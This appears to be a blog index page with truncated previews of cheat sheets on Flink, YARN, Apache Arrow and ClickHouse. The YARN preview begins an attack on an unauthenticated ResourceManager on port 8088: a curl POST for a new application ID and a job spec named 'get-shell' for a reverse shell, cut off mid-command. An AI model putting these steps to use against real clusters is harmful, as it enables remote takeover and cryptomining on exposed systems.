CHEATSHEET March 19, 2024

Flink CheatSheet

Words count 15k Reading time 14 mins.

flinkFlink applications code -> JobGraph -> JobManager -> TaskManagers 环境 ExecutionEnvironm... Read article

CHEATSHEET March 19, 2024

YARN CheatSheet

Words count 16k Reading time 15 mins.

8088挖矿漏洞发起获取appIDcurl -X POST http://10.33.21.190:8088/ws/v1/cluster/apps/new-application 新建任务信息文件1.json反弹shell{‘application-id’: ‘application_1639358619460_0019’,‘application-name’: ‘get-shell’,‘am-container-spec’: {‘commands’: {‘command’: ‘/bi... Read article

CHEATSHEET March 19, 2024

Apache Arrow CheatSheet

Words count 24k Reading time 22 mins.

相关概念包括ValueVector、Field、Schema、VectorSchemaRoot以及Table 1234567891011<dependency> <groupId>org.apache.arrow</groupId> <artifactId>arrow-memory-netty</artifactId> <version>${arrow.version}</version>&l... Read article

CHEATSHEET March 19, 2024

ClickHouse CheatSheet

Words count 27k Reading time 24 mins.

启动默认绑定端口9000 与hdfs冲突,修改tcp_port默认配置文件/etc/clickhouse-server/config.xml自定义配置文件目录 /etc/clickhouse-server/config.d/ clickhouse startclickhouse stopclickhouse-client docker12docker pull clickhouse/clickhouse-server:22.8.14.53docker run -di --name=clickho... Read article
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